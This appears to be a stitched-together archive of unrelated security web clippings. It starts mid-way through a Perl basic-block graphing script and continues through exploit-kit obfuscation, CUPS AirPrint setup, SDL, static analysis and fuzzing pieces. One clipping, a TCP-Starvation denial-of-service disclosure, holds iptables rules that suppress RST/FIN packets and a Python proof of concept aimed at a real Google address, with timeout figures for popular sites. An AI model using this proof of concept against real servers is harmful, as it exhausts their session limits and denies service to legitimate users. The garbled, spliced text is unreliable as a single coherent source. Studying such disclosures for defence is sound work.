size=\"8\">%s</font></td></tr>%s</table>>\];\n", $bb\[$i\]\[0\],
$bb\[$i\]\[0\], $bb\[$i\]\[2\], $ops;  
my $suc; foreach $suc \(@$successors\) \{ printf DOT "\tbb\_0x%4.4x ->
bb\_0x%4.4x;\n", $bb\[$i\]\[0\], $suc; \}  
\} printf DOT "\}\n"; close DOT; \}  
sub main\(\) \{ $file\_name = pop @ARGV;  
my $file\_stat = stat\($file\_name\) or die "can't stat $file\_name: $\!\n";  
$file\_size = $file\_stat->size;  
my $start\_addr; if \($start\_offset < 0\) \{ $start\_addr = $file\_size +
$start\_offset; \}else\{ $start\_addr = $start\_offset; \}
do\_next\_bb\($start\_addr, $x86\_mode\);  
my $extra; foreach $extra \(@extra\_bb\) \{ do\_next\_bb\(@$extra\[0\],
@$extra\[1\]\); \}  
dump\_dot\_file\(\); \}  
main\(\); 0;  
  
---|---  
<img src='img/Temp2_10505.gif' />

<img src='img/Temp2_10504.gif' alt='Dedicated Server' /> Powered by the
Dedicated Servers and  
Cloud Computing of Rackspace Hosting®

  * Blog
  * Support
  * Training
  * Job Board
  * Shop
  * Contact
  * API
  * Status

  * © 2011 GitHub Inc. All rights reserved.
  * Terms of Service
  * Privacy
  * Security

  * English
  * Deutsch
  * Français
  * 日本語
  * Português \(BR\)
  * Русский
  * 中文
  * See all available languages

### Your current locale selection: **English**. Choose another?

  * English
  * Afrikaans
  * Català
  * Čeština

  * Deutsch
  * Español
  * Français
  * Hrvatski

  * Indonesia
  * Italiano
  * 日本語
  * Nederlands

  * Norsk
  * Polski
  * Português \(BR\)
  * Русский

  * Српски
  * Svenska
  * 中文

## Keyboard Shortcuts

### Site wide shortcuts

s

    Focus site search
?

    Bring up this help dialog
### Commit list

j

    Move selected down
k

    Move selected up
t

    Open tree
p

    Open parent
c _or_ o _or_ enter

    Open commit
### Pull request list

j

    Move selected down
k

    Move selected up
o _or_ enter

    Open issue
### Issues

j

    Move selected down
k

    Move selected up
x

    Toggle select target
o _or_ enter

    Open issue
I

    Mark selected as read
U

    Mark selected as unread
e

    Close selected
y

    Remove selected from view
c

    Create issue
l

    Create label
i

    Back to inbox
u

    Back to issues
/

    Focus issues search
### Network Graph

← _or_ h

    Scroll left
→ _or_ l

    Scroll right
↑ _or_ k

    Scroll up
↓ _or_ j

    Scroll down
t

    Toggle visibility of head labels
shift ← _or_ shift h

    Scroll all the way left
shift → _or_ shift l

    Scroll all the way right
shift ↑ _or_ shift k

    Scroll all the way up
shift ↓ _or_ shift j

    Scroll all the way down

# Eplox/TCP-Starvation

**Created:**| _3/7/2018 8:31:00 AM_  
---|---  
**Updated:**| _3/7/2018 8:31:00 AM_  
**Author:**| _wishi_  
**Tags:**| _DoS tcp_  
  

  

# TCP-Starvation

**Update:** From comments throughout different communities, I've seen links to
different articles describing the same issue as I do here. I understand this
vulnerability that has existed for quite some time already \(10y+\), and by no
means trying to take credit for them. Perhaps I used wrong search terms when
looking for related articles, or just that they was located at page 42 on
google. Either way, I still hope you enjoy the read and perhaps learn
something useful.

I've also seen a lot of people mistake this for a SYN flood attack. This
attack relies on a full connection, not half open. So SYN cookies won't help
you.

Since this is a already know vulnerability with existing attacks/pocs, I've
decided to upload a trimmed down version of the kittenzlauncher.py \(ddos/waf
evasion, proxy jumping, c2 mode - is removed\).

**Original:**

Some time ago, I found a design flaw/vulnerability which affects most TCP
services and allows for a new variant of denial of service. This attack can
multiply the efficiency of a traditional DoS by a large amount, depending on
what the target and purpose may be.

The idea behind this attack is to close a TCP session on the attacker's side,
while leaving it open for the victim. Looping this will quickly fill up the
victim’s session limit, effectively denying other users to access the service.

This is possible by abusing RFC793, which lacks an exception if reset is not
sent.

[code]

    RFC793 page 36
    As a general rule, reset (RST) must be sent whenever a segment arrives
    which apparently is not intended for the current connection. A reset
    must not be sent if it is not clear that this is the case. 
    
[/code]

What does this affect?

  * Most services running on TCP
  * Product handling TCP sessions such as: 
    * Firewalls with session based policies
    * Routers and firewalls with NAT tables
    * Load balancers
    * and probably a lot more

## Proof of Concept

Connect to a device with root privileges and drop all outgoing RST and FIN
packets towards the victim server.

[code]

    iptables -A OUTPUT -d 173.194.222.100 -p tcp --dport 80 --tcp-flags RST RST -j DROP
    iptables -A OUTPUT -d 173.194.222.100 -p tcp --dport 80 --tcp-flags FIN FIN -j DROP 
    
[/code]

The python script below will close the TCP connection early, instead of
waiting for a response.

[code]

    #/usr/bin/python
    import socket
    header = ('GET / HTTP/1.1\r\n'
              'Host: www.google.com\r\n'
              'Connection: keep-alive\r\n\r\n')
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(5)
    s.connect(('173.194.222.100', 80))
    s.send(header)
    s.close() 
    
[/code]

<img src='img/google.png' width='576' height='252' alt='Starvation test on on
google.com' />

\)  

<img src='img/tcp_flow.png' width='576' height='381' alt='TCP life cycle
network flow' />

By adding a "Connection: keep-alive" to http/https request, increases the
session hold time to at least the keep-alive time specified by the server.

The last packet from 173.194.222.100 is sent roughly 120 seconds after the
attack occurred. In most cases, the attack lasts equal to the time between
first and last packet received, plus the time between last and second last
packet.  
This is because the server may not send out a "I'm done with you" packet at
the end of it's FIN\_WAIT1 state., something that can be confirmed by
monitoring netstat during the attack on the victim side.  
So for google.com, I would expect the total attack duration per request would
be: \(127-10\)+\(127-97\) = 147 rounded up to 150 seconds.

## Test on a few different protocols

[code]

    Protocol    Session Timeout     Software Version
    HTTP        320                 Apache httpd 2.4.27 (Linux ubuntu 4.13.0-21-generic)
    HTTPS       320                 Apache httpd 2.4.27 (Linux ubuntu 4.13.0-21-generic)
    SSH         195                 OpenSSH 7.5p1 (Linux ubuntu 4.13.0-21-generic)
    SMTP        310                 Postfix smtpd (Linux ubuntu 4.13.0-21-generic)
    
[/code]

Timeout values seem to depend on the application itself, as well as the kernel
values such as
https://www.kernel.org/doc/Documentation/networking/nf\_conntrack-sysctl.txt  
Result may variate between different protocols, kernels and settings.

## Estimated TCP session timeout on a few popular sites

google.com: 150sec  
facebook.com: 200sec  
wikipedia.org: 90sec  
twitter.com: 1020sec  
reddit.com: 710sec

## And if you weaponize it?

https://www.youtube.com/watch?v=6rE0hMq6\_gQ  

<img
src='img/68747470733a2f2f696d672e796f75747562652e636f6d2f76692f36724530684d71365f67512f302e6a7067.jpg'
width='480' height='360' alt='Youtube' />

## Disclosure

This vulnerability has been a real nightmare to disclose responsible. It could
take several months before getting a reply with "TCP vulnerabilities are not
within our scope.", or just no answers at all. After multiple of disclosing
attempts, I finally got in contact with EFF https://www.eff.org/security which
pointed me in the right direction of CERT Coordination Center \(CERT/CC\)
https://www.cert.org/, where the case was quickly handled with:

After analysis, we believe we have determined that this attack is a variant of
a NAPTHA attack, CVE-2000-1039. We previously published an advisory on these
types of attacks: https://www.cert.org/historical/advisories/CA-2000-21.cfm
and a longer research report is available at
https://www.giac.org/paper/gsec/313/naptha-type-denial-of-service-
attack/100899.  
  
We're looking at updating the advisory to specify TCP RST packets too, but the
problem in general appears to be a publicly known one. It's also unclear how
the RFC could be updated to prevent this sort of attack in TCP.

## Q/A

**Q:** How do I defend myself?  
**A:** Defending yourself means you have to tweak the timeout and
retransmission settings, this could affect users with poor connections in a
negative way.

**Q:** Will you release kittenzlauncher from that youtube video?  
**A:** Not planning to do so. Giving script kiddies a newb friendly attack
tool with a ton of evasion and attack functionality would probably piss off
more people than make others happy.

  

# Exploit Kit Roundup: Best of Obfuscation Techniques - SpiderLabs Anterior

**Created:**| _5/9/2014 1:44:57 PM_  
---|---  
**Updated:**| _5/9/2014 1:44:57 PM_  
**Author:**| __  
**Tags:**| _Exploit Obfuscation_  
  

# Exploit Kit Roundup: Best of Obfuscation Techniques

The world of exploit kits is an ever-changing one, if you happen to look away
even just for one month, you’ll come back to find that most everything has
changed around you. Because of this, people like us, who work on a secure web
gateway product, are continuously immersed in the world of exploit kits. Every
once in a while it’s a good idea to stop, take a look around us, and review
what’s changed. We would like to share some of the more interesting
obfuscation techniques we’re seeing utilized by exploit kits. We’ll focus on
techniques used to obfuscate exploits for Internet Explorer \(since
obfuscation methods differ for Java, Flash and other web content.\)

**Flash Exploits vs. Flash: The New Exploit Delivery Method**

Flash exploits reached their peak a few years ago when exploit writers
realized that most client machines had Adobe’s Flash Player installed and
vulnerabilities were still in abundance, but as time progressed Adobe rolled
out a few key features such as sandboxing and silent patching, that made
writing exploits for Flash Player a bit of a pain \(and so exploit writers
moved on to Java\). This is not to say that Flash exploits have disappeared
entirely- we still have the odd exploit such as CVE-2014-0502 and
CVE-2014-0497 popping up, not to mention LadyBoyle who’s still around. It
seems, however, that attackers found a way to use the fact that Adobe Flash
Player is installed on pretty much every client machine while avoiding the
need to exploit Flash Player itself with all its hurdles: Flash Player is now
used as more of a delivery platform to de-obfuscate the shellcode, call
JavaScript methods in the original page that are otherwise completely
unreferenced in the page itself, issue requests to additional URLs for more
data, and other uses that don’t involve an actual vulnerability in Flash
Player.

Infinity Exploit Kit is a good example of such use of Flash: The Flash file
defines a method and exposes it to the external page, then calls a method in
the external page that prepares parts of the attack and calls the previously
exposed method inside the Flash file, resulting in three transitions, or
“hops” between the HTML page and the Flash file. These hops back and forth
make it hard to follow the flow of \(and thus detect\) the attack:

Hop 1 - The HTML page loads the Flash file with “allowScriptAccess” set to
“always”, which allows the Flash file to, amongst other things, call methods
in the HTML page:

<img src='img/Temp2_2905.png' alt='Infinity_Hop1' />

Hop 2 - ActionScript code from the aforementioned Flash file. The first marked
line shows the Flash file exposing the “wombt” method to the HTML page, and
the second method calls a method by the name of “grask2” in the HTML page:

<img src='img/Temp2_2909.png' alt='Infinity_Hop2' />

Hop 3 - A quick look at the “grask2” method in the HTML page shows us that
this method indeed calls the “wombt” method exposed by the Flash file:

<img src='img/Temp2_2904.png' alt='Infinity_Hop3' />

**Taunts Us with AJAX**

The Neutrino exploit kit took more of a whitehat path to obfuscation and
fetches the code, in parts, using AJAX. Not only does it use AJAX requests to
pull \(and then deobfuscate\) some of the shellcode, but it also issues some
completely random requests to drown the obfuscated nonsense-looking data in
other genuinely nonsensical data. It also uses the \(real\) JQuery library, as
most web developers do:

<img src='img/Temp2_2908.png' alt='Neutrino' />

In the image above you can see that the page issues a request to a page with a
seemingly random name. The third argument sent to the get\(\) method is a
callback to execute upon success, in our case, the method “z” right below it.
This method appends the code to the body of the page, but not before
performing additional de-obfuscation with the help of the “i” method, turning
the returned data into HTML code which, in turn, loads the exploit that the
machine is most likely to be vulnerable to.

In addition to these requests that bring in more code, the page also issues
some completely randomized requests in a method called “f\_query” that looks
like this:

<img src='img/Temp2_2906.png' alt='Neutrino2' />

As you can see, the arguments, as well as the HTTP method to use, are all
generated with the help of randomization methods and the responses to these
requests are never examined; This means that although the page issues multiple
GET and POST requests, only the returned data from the request issued in the
“query” method is really used to generate further code for the page to
execute.

Mixing unnecessary data into legitimate data is a common approach used by many
malware developers in an attempt to evade security products and measures.

**Anglers Phish \(Even When They’re Using Exploits\)**

Angler Exploit Kit indeed lives up to its name, and though an exploit kit
works in a drive-by method, where the user should not even be aware that they
are receiving any unwanted content \(let alone an exploit\), various security
engines still look at the static source code of a page to help determine
whether a website is legitimate or malicious. Angler attempts to cover its
track by hiding the malicious code within code stolen from a legitimate
website, so as not to raise suspicion.

It doesn’t look like much to the human eye, but the source code could easily
pass for a legitimate website:

<img src='img/Temp2_2907.png' alt='Angler' />

But behind this innocent-looking code hides our not-at-all-innocent exploit
kit:

<img src='img/Temp2_2903.png' alt='Angler2' />

While some of these tricks are more sophisticated than others, they were all
put in place because they work against some technology used by security
products. Trustwave’s Secure Web Gateway is constantly updated and tested
against these types of threats to ensure protection to our customers. It’s
certainly always interesting\!

Think we skipped an interesting obfuscation technique? Tell us about it in the
comments\!

This blog post was co-authored by Daniel Chechik and Anat Davidi.

### Comments

# Adding a Virtual PDF Airprinter in Ubuntu 12.04 - SporkNotes

**Created:**| _5/4/2014 9:35:49 AM_  
---|---  
**Updated:**| _5/4/2014 9:37:38 AM_  
**Author:**| __  
**Tags:**| _Lab-Setup pdf_  
  

# Adding a Virtual PDF Airprinter in Ubuntu 12.04

Printing to a PDF file on a computer is apparently something some people like
to do remotely from their iPads and iPhones. I just needed it for testing
purposes, but man was it a hassle to set up. I learned a lot of interesting
things about print servers and whatnot in the process, but I wish I just had a
tutorial like this to go to instead of spending hours googling around for a
proper solution. So if you’re one of **millions** of people who are probably
battling this pressing issue right now, you’re in luck\!

Normally, printing to a PDF is just something you can easily do directly from
a browser or application. Unfortunately, the Apple brain trust has decided
\(once again\) that their proprietry systems are best \(_it just works
right\!?\!_\), and we must accomodate them. To print from an iOS device, you
must have an \(Airprint compatible
printer\)\[http://support.apple.com/kb/ht4356\] on your local network, or, for
our purposes, a print server that makes your iOS device think you have an
Airprint compatible printer.

### Step 1: Set up Print Server and Virtual PDF Printer

An all-purpose PDF virtual printer is surprisingly not included in most
setups, so you will likely have to download one first. A good one
\(apparently\) is cups-pdf. CUPS stands for Common Unix Printing System, and
you probably already have it, but if you don’t you should get that before you
get its PDF printin’ cousin.

Terminal

|

[code]

    # Check to see if you have cups
    dpkg -s cups | grep Status
    # If you don't, install cups
    sudo apt-get install cups
    # Then get cups-pdf
    sudo apt-get install cups-pdf
    
[/code]  
---|---  
### Step 2: Add PDF Printer to Printers

This is very straight-forward. Just go to System Settings/Printers and add the
cups PDF printer you just installed. If it asks for drivers just install the
generic ones via the wizard.

### Step 3: Set Up CUPS Printing Server

<img src='img/Temp2_476.png' />

Now we need to make the PDF virtual printer available on your local machine.
Jump into your browser and point it to http://localhost:631/admin . This is
your CUPS interface. Take a minute to look around – we will mostly be working
with the ‘Server Settings’ on the right, but the error logs link is very
useful if things don’t go as planned. The link to the config file is also
nice.

**Please Note:** You _don’t_ need to add your virtual printer here again even
though it does not show up. Also, the first time you save settings, the app
may ask for a username and password – by default, these are the username and
password you use to log into your Ubuntu User Account.

Now make sure you turn on the following options \(or just look at the checked
checkboxes in the screenshot at right\):

  * Show printers on other systems
  * Show printers connected to this system
  * Allow printing from the internet
  * Allow remote administration
  * Allow users to cancel any job \(not just their own\)

Finally edit the cups config \(either by clicking on the ‘Edit Configuration
File’ button or running `sudo gedit /etc/cups/cupsd.conf` in terminal\) as
follows:

  * Change the following lines: 
    * _Port Localhost:631_ to _Port 631_
    *  _BrowseAllow_ to _BrowseAllow all_

You should now be able to print to a PDF locally \(from an application on your
laptop\).

### Step 4: Set Up Avahi-daemon

Avahi is a service that allows for automatic discovery of devices on a local
network. The Apple branded version is called ‘Bonjour’. More generally these
are known as ‘zeroconf’ implementations because they use Apple’s Zeroconf
\(zero configuration\) spec. Basically, this is what will allow us to mimic
Airprint.

Terminal

|

[code]

    # Check to see if you have avahi
    dpkg -s avahi-daemon | grep Status
    # If you don't, install it
    sudo apt-get install avahi-daemon
    
[/code]  
---|---  
### Step 5: Restart CUPS

Terminal

|

[code]

    sudo service cups restart
    
[/code]  
---|---  
### Step 6: Generate Avahi Service File

In order for avahi to know about our CUPS-PDF virtual printer, we have to give
it an appropriate service file. Luckily, a guy named TJ Fontaine has figured
out a clever way to do this. You will need to get his python script from
github and run it from your terminal. The script takes the first CUPS printer
you have listed and makes a service file for it \(see the README file for how
to select which printer you want to use if you have multiple ones
configured\).

Terminal

|

[code]

    # I did this from my root, you can do it wherever you want
    # Clones the repo and puts in a folder called 'airprint-script'
    git clone https://github.com/tjfontaine/airprint-generate.git airprint-script
    airprint-script
    python airprint-generate.py
    
[/code]  
---|---  
### Step 7: Move Generated File into Avahi Services

This will create an avahi service file of format Airprint-printer-name.service
\(Ex: Airprint-Generic-CUPS-PDF.service\). Move this file into Avahi’s
Services directory.

Terminal

|

[code]

    sudo mv Airprint-Generic-CUPS-PDF.service /etc/avahi/services/Airprint-Generic-CUPS-PDF.service
    
[/code]  
---|---  
### Step 8: Restart CUPS and Avahi

Terminal

|

[code]

    sudo service cups restart
    sudo service avahi-daemon restart
    
[/code]  
---|---  
### Step 9: Add Two New Config Files

Run `sudo gedit /usr/share/cups/mime/airprint.types` in terminal and add the
following to the file:

|

[code]

    # "$Id: $"
    # AirPrint type
    image/urf urf string(0,UNIRAST<00>)
    # End of "$Id: $".
    
[/code]  
---|---  
Run `sudo gedit /usr/share/cups/mime/airprint.convs` in terminal and add the
following to the file:

|

[code]

    # "$Id: $"
    # AirPrint
    # Updated list with minimal set 25 Sept
    image/urf application/pdf 100 pdftoraster
    # End of "$Id: $".
    
[/code]  
---|---  
### Step 10: Enable Virtual Printing From Anonymous Devices in cups-pdf

In order for your Virtual PDF printer to actually output somewhere when an
‘Anonymous’ device on the local network hits it up, you need to enable one
more thing in the `etc/cups/cups-pdf.conf` file.

Run `sudo gedit /etc/cups/cups-pdf.conf` in terminal and uncomment the
following line by removing the ‘\#’:

`AnonDirName /var/spool/cups-pdf/ANONYMOUS`

**Note: All PDF print jobs from iOS devices will go to the above folder\!**

Unfortunately, when I edit the path to where anonymous jobs print to, they
simply dissapear. So far my solution to this has been to create a symlink to
the above folder from my desktop so I can conveniently see the jobs.

### Summary

Well there you have it, you should now be able to print to PDF on your laptop
from an iPad or iPhone if they are on your local network. These techiniques
can also be used to link paper printers that don’t come with native AirPrint
compatibility. If you’re still running into errors, you might need to check
your apparmor files to see if anonymous printing is prohibited. Specifically
look at the end of the `/etc/apparmor.d/usr.sbin.cupsd` file and check the
lines related to cups-pdf.

### Credits/See Also

# Dinis Cruz blog: Amazing presentation on integrating security into the SDL

**Created:**| _10/30/2012 10:40:33 AM_  
---|---  
**Updated:**| _10/30/2012 10:40:33 AM_  
**Author:**| __  
**Tags:**| _OWASP SDL projects_  
  

### Amazing presentation on integrating security into the SDL

Nick Galbreath \(@NGalbreath\) has published the great presentation he
delivered at OWASP's AppSec USA last week.  
  
You can read it on his Rebooting \(secure\) \(web\) software development with
Continuous Deployment blog entry or use the embedded slide-share viewer below:  
  
  
  
There are lots of great ideas and concepts in there, but for me the slide that
really describes what we are trying to do \(and how we have to solve the
'software security problem'\) is this one:  
  

<img src='img/Temp2_2285.png' width='640' height='622' />

**_" If we want to fix Security .... we have to fix Development" _**  
**_" If we want to fix Security .... we have to fix Development" _**  
**_" If we want to fix Security .... we have to fix Development" _**  
_.... \(write/say 100x until internalized\)_  
**_" If we want to fix Security .... we have to fix Development" _**  
**_  
_**One of the reasons why driving security changes and making code-fixes is so
hard, is because security doesn't live in isolation and it is 100% depended on
the development process that exists on the other side.  
  
What I like about Nick's pragmatic approach is that he is showing \(with real
examples\) that when there is a slick, fast and effective SDL \(with daily
pushes to production\), security is much easier to embed and there is a much
better architecture to 'inject security' into the SDL \(and to understand the
side effects of those security changes\)  
  
The good news is that we 'the security dudes' have such a good reputation with
developers, and they trust us so much, that we are the best guys to drive this
change.............  
  
.... I can just hear the developers calling the security teams and say
**_"....Hey we want to change how we develop our applications/websites, can't
you come over and tell us what to do? ... Since you've been trying to 'tell us
what to do' forever ... you must have good solutions for how to create the
type of Development environment that Nick is talking about'..."_**  
  
....yeah ..... right :\(

# What is the best command-line tool to clean up code? - Stack Overflow

**Created:**| _5/9/2009 11:19:39 AM_  
---|---  
**Updated:**| _5/9/2009 11:19:54 AM_  
**Author:**| __  
**Tags:**| _C code-checks_  
  

Although I am sure that this is not a comprehensive list of _static code
analysis_ tools, here are my impressions of some different ones that I've
worked with in the past. \(I work mostly with C.\)

  1. Splint: I often use Splint because it is available for many GNU/Linux distributions. It is relatively easy to work with; however, it tends to be overwhelming when operating under the strictest setting. Moreover, the sometimes-necessary use of annotations can clutter and obfuscate easily-readable code. Regardless, I suggest using it. 
  2. Uno: Uno is definitely a promising, but it is not as rigorous as Splint \(by design\). Instead, it focuses on the clarity and usefulness of its warnings. For me, Uno is only useful as a supplement to Splint \(to clearly point out warnings hidden among the comparatively many that Splint issues\). 
  3. PC-lint: I find that PC-lint is unwieldy for a proprietary program. I once used it when developing for MS-DOS and cryptic names it uses for its errors made it very difficult to use. From what I hear, there are many better products to use on MS-DOS. 
  4. Pscan: \(Dead hyperlink\) Pscan is great for finding format string vulnerabilities\! As with Uno, I suggest using it as a supplement to Splint. 

If you do not work with C, you may also want to check out: Wikipedia - List of
tools for static code analysis, Inspection/Review Tools, Source/Binary Code
Static Analyzers, and Source Code Security Analyzers.

# Improbed Memory-Access Analysis for x86 Executables

**Created:**| _9/22/2009 2:49:41 PM_  
---|---  
**Updated:**| _9/22/2009 2:50:12 PM_  
**Author:**| __  
**Tags:**| _papers reversing_  
  
<img src='img/Temp2_4371' />

# Speed up your fuzzfarm: fast hit tracing « GDTR

**Created:**| _5/20/2012 4:30:55 PM_  
---|---  
**Updated:**| _5/20/2012 4:30:55 PM_  
**Author:**| __  
**Tags:**| _Lab-Setup admin fuzzing_  
  

## Speed up your fuzzfarm: fast hit tracing

11/05/2012 p\_k Leave a comment Go to comments

The fuzzing methodology introduced by Charlie Miller \[1\] was widely adopted
in the security industry, as it is indeed an effective and low cost method of
finding bugs.

<img src='img/Temp2_7635.png' width='240' height='300' />

The idea is:

  * collect a lot of sample files
  * let your target application parse them all
  * collect the set of basic blocks executed for every file
  * calculate the minimal set of samples that covers all of the collected basic blocks
  * flip random bytes in files from that set and wait for a crash

It’s a simple process, but all implementations I heard of suffer from an
interesting performance bottleneck in the basic block tracing part.

If your tracer takes >1min per file, you can speed it up to take only few
seconds, with just a few simple observations.

# Problems

The tracing part is generally implemented like this:

  * instrument the binary with PIN and install a common hook for every BB
  * when a BB is executed, control is transferred to the hook, which stores the BB address in a “fast” data structure implementing a set, a like red-black/avl tree.
  * run the application on a sample file and terminate it when the CPU usage drops below some cutoff value.

There are few problems with this approach, but they are easy to solve.

First, let’s distinguish between tracing and hit tracing. In both cases we
will assume basic block \(BB\) granularity.

1\. During **tracing** , we are interested in collecting an ordered sequence
of BBs, so we want to know which BBs were executed and in what order.

2\. During **hit tracing** , we are only interested in collecting a set of
executed BBs, so we don’t care if a BB was hit more than once.

From this point, “tracing” should be interpreted as 1, and “hit tracing” as 2,
the same goes for “tracer” and “hit tracer”.

For example, consider the following function:

[code]

    a:
        dec eax
        jnz a
    b:    
        test eax, eax
        jz d
    c:
        nop
    d:
        no
[/code]

Tracing that example for eax=3 would produce a list: \[a,a,a,b,d\], and hit
tracing, a set: \{a,b,d\}.

It’s easy to see, that when implementing a hit tracer, hooks can be
dynamically removed as soon as a BB is executed. Indeed, since we save BBs in
a set, any attempt to store the same one more than once is a waste of time.

To make the bigger picture clear:

  * install hooks in all BBs
  * when a BB is hit, execution transfer to the hook
  * hook saves the BBs address in a set
  * hook uninstalls instelf from the hit BB
  * hook transfers control to the originating BB

We’ve eliminated the first problem of the MM \(Miller’s method <img
src='img/Temp2_7643.png' alt=';)' /> \). The second problem is termination:
when should we stop collecting BBs?

Watching the CPU is counterproductive: if the processor is busy, it has to be
in some kind of a loop \(unless you feed it with gigabytes of consecutive NOPs
:p\). If it’s in a loop, it’s pointless to wait for an extended period of
time, because you’re going to collect all of the loops’ BBs at the very
beginning anyway.

A better \(faster\) approach is to watch how many new BBs we collected in a
predefined timestep. To be more precise, let <img src='img/Temp2_7640.png'
alt='S(t)=|BBs|' /> \(the size of the BB set at time <img
src='img/Temp2_7639.png' alt='t' />\). Using this notation, every <img
src='img/Temp2_7641.png' alt='dt' /> seconds we check if <img
src='img/Temp2_7633.png' alt='S(t+dt)/S(t) > c' />. If the condition is true:
continue, if not: terminate. This guarantees that we terminate as soon as the
set stops increasing fast enough \(or a called OS function takes a lot of
time, but that can be solved with big enough <img src='img/Temp2_7641.png'
alt='dt' />\).

This heuristic is inferior in situations where the target spends a lot of time
in disjoint loops: if we have loop1\(\); loop2\(\); and loop1 takes a while,
then the target will be terminated early, before reaching loop2.

# Implementation

There are few ways to implement the hit tracer:

\- script your favourite debugger  
\- use PIN/DynamoRIO  
\- write your own debugger

Scripting ImmDbg, WinDbg, or PyDbg is a bad idea: with >100k breakpoints these
tools are likely to fail <img src='img/Temp2_7637.png' alt=':)' /> . PIN is
probably a good tool for this task \(it’s a Binary Dynamic Instrumentation
tool, after all <img src='img/Temp2_7643.png' alt=';)' /> \), but we’ll focus
on the last option.

Assuming our target is not open source, we need to find a way to hook all BBs
at the binary level. The first solution that comes to mind is:

  * use IDA to statically collect all BBs
  * patch all of them with a jump to our hook

There are two problems with this approach:

  1. jumps have to be long \(5 bytes\), so they might not fit into very small BBs
  2. IDA isn’t perfect and can produce incorrect results. Patching an address that isn’t a beginning of a BB can \(most likely will\) lead to a crash.

###

### Problem 1

Solving problem 1 can be either simple and inaccurate or complicated but
accurate. A quick solution is to ignore BBs shorter than 5 bytes and patch
only the bigger BBs. This can be ok, depending how many BBs are going to be
discarded: if just a few, then who cares <img src='img/Temp2_7643.png'
alt=';)' /> .

If there’s a lot of them, we’re going to use a different approach. Instead of
patching with jumps, we can patch with **int 3** \(0xCC\) — since it’s only
one byte, it will fit everywhere <img src='img/Temp2_7643.png' alt=';)' /> .

When a BB is executed, int 3 will throw an exception that needs to intercepted
by our external debugger. This introduces a penatly that’s not present in the
jump method: kernel will have to deliver the exception from the target
application to the debugger, and then go back to resume execution of the
patched BB. This cost is not present, when a jump transfers execution to a
hook inside the target’s address space, but it turns out that this delay is
negligible.

The debugger contains the hook logic including a data structure implementing a
set. Notice that we can be faster, although by a constant factor, than AVL/RB
trees. Having a sorted list of addresses of BBs \(call it L\), we can
“implement” a perfect hash \[2\]: Hash\(BB\)=index of BB in L, so our set can
be a flat table of bytes of size = size\(L\). The “insert\(BB,S\)” procedure
is just: S\[H\[BB\]\]=1, without the cost of AVL/RB bookkeeping/rebalancing
<img src='img/Temp2_7637.png' alt=':)' /> . The cost of Hash\(BB\) is
obviously <img src='img/Temp2_7638.png' alt='O(log|L|)' />, since the list of
addresses is sorted.

### Problem 2

Solving 2 might seem to be a matter of observing where the patched application
crashed and reverting bytes at that address to the original values. That might
work, but doesn’t have to <img src='img/Temp2_7637.png' alt=':)' /> . If a bad
patch results in a bogus jump, the crash address will be completely unrelated
to the real origin of the problem\!

The correct solution is a bit slow:

[code]

    def check_half(patches):
        apply_patches(exe, patches)
        crashed = run(exe)
        if crashed:
            revert_patches(exe, patches)
            if len(patches)>1:
                apply_non_crashing(patches)
    
    def apply_non_crashing(patches):
        fst = half(0, patches)
        snd = half(1, patches)
    
        check_half(fst)
        check_half(snd)
[/code]

Starting with a clean exe and a list of patches to apply, we split the list
into halves and apply them in order. If the patched version crashes, we revert
made changes and recurse with one of the halves. At the tree’s bottom, if a
single byte causes a crash, we just revert it and return.

It’s easy to see, that this algorithm has complexity <img
src='img/Temp2_7632.png' alt='O(d*logn)' /> \(disregarding file ops\) where
<img src='img/Temp2_7636.png' alt='d' /> is the number of defects \(bad
patches that cause crashes\) and <img src='img/Temp2_7642.png' alt='n' /> is
the total number of patches \(basic blocks\). The <img
src='img/Temp2_7634.png' alt='log(n)' /> factor comes from the fact, that we
are traversing a full binary tree with <img src='img/Temp2_7642.png' alt='n'
/> nodes.

# Benchmarks

I didn’t bother comparing with available \(hit\)tracers, since just judging by
the GUI lag, they are at least an order of magnitude slower than the method
described. The executable instrumented with int3s has no noticeable lag,
compared to the uninstrumented version, at least on manual inspection \(try
clicking menus, etc\).

We’ll benchmark how much \(if at all\) the monotonicity heuristic is faster
than just waiting for a fixed amount of time T. This models a situation where
the target takes ~T seconds to parse a file \(using ~100% CPU\).

Follow these steps to repeat the process yourself:

  * download this
  * download the first 150 pdf files from urls.txt \(scraped with Bing api <img src='img/Temp2_7643.png' alt=';)' /> \), delete 50 smallest ones, and place what’s left in ./samples/ dir
  * run SumatraPDF.exe and uncheck “Remember opened files” in Options \(otherwise the results would be a bit skewed — opening a file for the second time would trigger cache handling code\)
  * run stats.py and wait for results <img src='img/Temp2_7637.png' alt=':)' />

Files in the archive:

  * SumatraPDF.exe – version without instrumentation \(no int3 patches\)
  * patched.exe – instrumented version
  * debug.exe – debugger that’s supposed to intercept and resume exceptions raised from patched.exe
  * urls.txt – urls of sample pdf files
  * stats.py – benchmarking script

The debugger takes few parameters:

<exe> <sample file> <dt> <c> <timeout>

where exe is the instrumented executable, sample file is the file to pass as a
first parameter to the exe, dt and c have the meaning as described above, and
timeout is the upper bound of time spent running the target \(debugger will
terminate the target, even when new BBs are still appearing\). dt and timeout
are in milliseconds, c is a float.

### Methodology

Every sample is hit traced two times. First time, debugger is run with  
parameters:

patched.exe <sample> 1000 0.0 2000

meaning there is no early termination — BBs are collected for 2 seconds.

Second time, debugger is run with:

patched.exe <sample> 200 1.01 2000

meaning the target is terminated early, if during 200ms the number of BBs
didn’t  
increase by at least 1%. Here’s the watchdog thread implementing this:

[code]

    DWORD WINAPI watchdog(LPVOID arg){
    	int i, elapsed;
    	float old_counter=0;
    
    	elapsed = 0;
    
            printf("watchdog start: g_c=%.02f, g_delay=%d, g_timeout=%d\n", g_c, g_delay, g_timeout);
    
    	while(1){
    		Sleep(g_delay);
    		elapsed += g_delay;
    
    		if((float)counter > g_c*old_counter){
    		    old_counter=(float)counter;
    		}
                    else{
                        break;
                    }
    
    		if(elapsed>=g_timeout)
    		    break;
    	}
    
    	dump_bb_tab("dump.txt");
            printf("watchdog end: elapsed: %d, total bbs: %d\n", elapsed, counter);
    	ExitProcess(0);
    }
    It dumps the BB list in dump.txt as a bonus <img src='img/Temp2_7643.png' alt=';)' /> .
[/code]

### Results

Speed: **0.37** \(smaller is better\)  
Accuracy:**0.99** \(bigger is better\)

As expected, the monotonicity heuristic performs better \(almost 3x\) than
just waiting for 2 seconds, for the price of 1% drop in accuracy.

Note that the 2s timeout is arbitrary and supposed to model a situation when
the target is spinning in a tight loop. In such a case watching the CPU is
\(most likely\) a waste of time.

## TL;DR

If you want your hit tracer to be fast, then:

